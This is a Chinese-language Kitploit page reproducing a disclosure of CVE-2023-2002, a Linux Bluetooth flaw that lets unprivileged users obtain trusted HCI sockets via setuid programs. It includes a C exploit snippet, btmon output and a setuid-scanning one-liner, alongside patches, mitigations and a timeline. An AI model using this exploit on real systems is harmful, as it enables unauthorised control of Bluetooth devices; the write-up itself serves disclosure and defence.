Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-2002 — Linux蓝牙 - 以非特权用户身份运行任意管理命令 | Kitploit
工具/GitHubGitHub/lrh2000/cve-2023-2002
权限提升蓝牙安全漏洞分析漏洞利用学习与教育二进制利用
GitHublrh2000/cve-2023-2002

CVE-2023-2002

Linux蓝牙 - 以非特权用户身份运行任意管理命令

查看仓库
8573年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Linux 蓝牙:未授权管理命令执行 (CVE-2023-2002)

在 Linux 内核的蓝牙子系统中处理 HCI 套接字的 ioctl 系统调用时,发现了一个权限检查不足的问题。这导致没有适当 CAP_NET_ADMIN 权限的任务可以轻易地将 HCI 套接字标记为_受信任_。受信任的套接字旨在允许发送和接收管理命令和事件,例如与新设备配对或连接。因此,无特权的用户可以获得一个受信任的套接字,从而导致未授权执行管理命令。利用此漏洞只需要存在一组常用的 setuid 程序(例如 su、sudo)。

原因

该漏洞的直接原因如下代码片段:

root@kitploit:~
static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
                          unsigned long arg)
{
	...
        if (hci_sock_gen_cookie(sk)) {
		...
                if (capable(CAP_NET_ADMIN))
                        hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
		...
        }
	...
}

ioctl 系统调用的实现会检查调用该调用的任务是否拥有必要的 CAP_NET_ADMIN 权限来更新 HCI_SOCK_TRUSTED 标志。然而,此检查仅考虑调用任务,它未必是套接字的打开者。例如,套接字可以与其他任务通过 fork 和 execve 共享,后者任务可能具有特权,比如 setuid 程序。此外,如果套接字被用作 stdout 或 stderr,则会发出 ioctl 调用以获取 tty 参数,这可以通过 strace 命令验证。

root@kitploit:~
# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305])            = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0

针对 tty 参数的 ioctl 调用在 HCI 套接字上永远不会成功,但它们足以将 HCI 套接字标记为受信任。因此,无特权的程序可以持有受信任的 HCI 套接字,使其能够发送和接收管理命令和事件,因为受信任标志永远不会被清除。

利用

利用可以像下面这样简单:

root@kitploit:~
	int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);

	/* 通过将 HCI 套接字作为 stderr 执行 sudo,ioctl
	 * 系统调用使 HCI 套接字变得有特权(即设置了
	 * HCI_SOCK_TRUSTED 标志)。
	 */
	int pid = fork();
	if (pid == 0) {
		dup2(fd, 2);
		close(fd);
		execlp("sudo", "sudo", NULL);
	}

	waitpid(pid, NULL, 0);

	struct sockaddr_hci haddr;
	haddr.hci_family = AF_BLUETOOTH;
	haddr.hci_dev = HCI_DEV_NONE;
	haddr.hci_channel = HCI_CHANNEL_CONTROL;

	/* 套接字尚未绑定。现在可以将其绑定到管理通道。
	 * 之后,HCI_SOCK_TRUSTED 标志仍然存在,因为它永远不会被清除。
	 */
	bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));

此外,可以使用 btmon 确认套接字变为受信任,并且后续的管理命令将成功:

root@kitploit:~
# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
        Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
      Set Powered (0x0005) plen 4
        Status: Success (0x00)

一个完整用于更改蓝牙设备电源状态的 PoC 利用代码可以在 GitHub 上 找到。

影响

如果成功利用,已识别的漏洞有可能损害蓝牙通信的机密性、完整性和可用性。攻击者可以利用此漏洞将控制器与恶意设备配对,即使蓝牙服务已禁用或未安装。也可能阻止特定设备配对,或读取一些敏感信息,例如 OOB 数据。

影响范围

自 Linux 内核 v4.9 起,此可利用漏洞就已存在。更具体地说,在提交 f81f5b2db869("Bluetooth: Send control open and close messages for HCI raw sockets")之后,它变得可利用。在此提交之前,利用该漏洞需要诱骗特权程序绑定 HCI 套接字,这在实践中很难(如果不是不可能)触发。然而,在此提交之后,只需要诱骗特权程序调用 ioctl 系统调用,而这仅依赖于 setuid 程序的存在,如上所示。

只要存在 setuid 程序(更准确地说,是具有 CAP_NET_ADMIN 权限的程序)对 stdin、stdout 或 stderr 调用 ioctl,利用就能工作。在大多数 Linux 发行版中,一个快速(但非常粗糙)的测试显示,相当多的 setuid 程序正在使用 ioctl 系统调用,下表中标记为 'V' 的即为此类程序:

root@kitploit:~
# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd

手动检查 strace 输出后,发现所有这些 ioctl 使用者都在对 stdin、stdout 或 stderr 使用 ioctl 调用来获取或设置某些 tty 参数。注意,传递给这些 setuid 程序时没有带任何参数。如果传递一些精心构造的参数,ioctl 使用者的数量可能会增加。因此,许多 Linux 发行版可能容易受到此漏洞的利用。

附带说明,Android 设备不太可能受到影响,因为利用需要 setuid 程序存在,而 Android 已经避免使用 setuid 程序一段时间了。此外,Android 上也没有具有 CAP_NET_ADMIN 权限的应用程序。

缓解措施

一个补丁 已发布到 linux-bluetooth 邮件列表,通过将 capable() 替换为 sk_capable() 修复此漏洞,其中 sk_capable() 不仅检查当前任务,还检查套接字打开者是否具有所需的能力。同时,另一个提交的补丁 通过在 hci_sock_ioctl() 开始时检查命令有效性并在命令无效时立即返回 ENOIOCTLCMD 错误码,强化了 ioctl 处理逻辑。

作为变通方案,如果根本没有使用蓝牙设备(但无法物理移除设备),可以通过 rfkill 直接阻止设备,这将阻止设备通电。这样做,发送管理命令以启动蓝牙设备不会成功。这可以大大降低此漏洞的影响。

有两种方法可以避免将来出现类似的漏洞:强化 Linux 内核和强化用户空间的 setuid 程序。

  • 在 Linux 内核中有许多对 capable() 的使用,它们检查当前任务的能力,但对文件或套接字的打开者不做任何处理。在许多情况下,检查打开者的能力也可能是合理的。然而,增加更多的能力检查可能导致意外的回归,尽管在撰写本文时尚未看到实际中的此类例子。
  • Stdin、stdout 和 stderr 与其他文件描述符不同,因为它们从父任务继承,但由当前任务直接使用。对于特权的 setuid 程序,继承的文件描述符可能需要被视为不可信。因此,在这些不可信的文件描述符上调用系统调用时,明确放弃特权似乎也是合理的。

关联

此漏洞与 CVE-2014-0181 共享完全相同的原理。就 CVE-2014-0181 而言,问题是缺乏一种根据套接字打开者授权 Netlink 操作的机制,这允许本地用户通过将 Netlink 套接字用作 setuid 程序的 stdout 或 stderr 来修改网络配置。

时间线

2023-04-04: 我在对 Linux 内核蓝牙协议栈的审计中发现了此漏洞。

2023-04-09: 我向 Linux 内核安全团队和发行版供应商报告了此漏洞,并附带了初始版本的补丁。

2023-04-12: 此漏洞已分配 CVE ID,即 CVE-2023-2002。

2023-04-13: 与维护者进行几天讨论后,补丁已相应更新。

2023-04-16: 该漏洞在公开的 oss-security 邮件列表 和 GitHub(此处)上披露。两个补丁已发布到公共的 linux-bluetooth 邮件列表(第一个,第二个)。

2023-05-01: 修复 已进入主线内核(作为 v6.4 合并窗口的一部分),以及 v6.3.1、v6.2.14、v6.1.27 和 v5.15.110。它也已排队等待 v5.10、v5.4、v4.19 和 v4.14 内核的下一个稳定版本。

2023-05-17: 最终,修复 已进入所有稳定内核。具体来说,它也已应用于 v5.10.180、v5.4.243、v4.19.283 和 v4.14.315 内核。

下载工具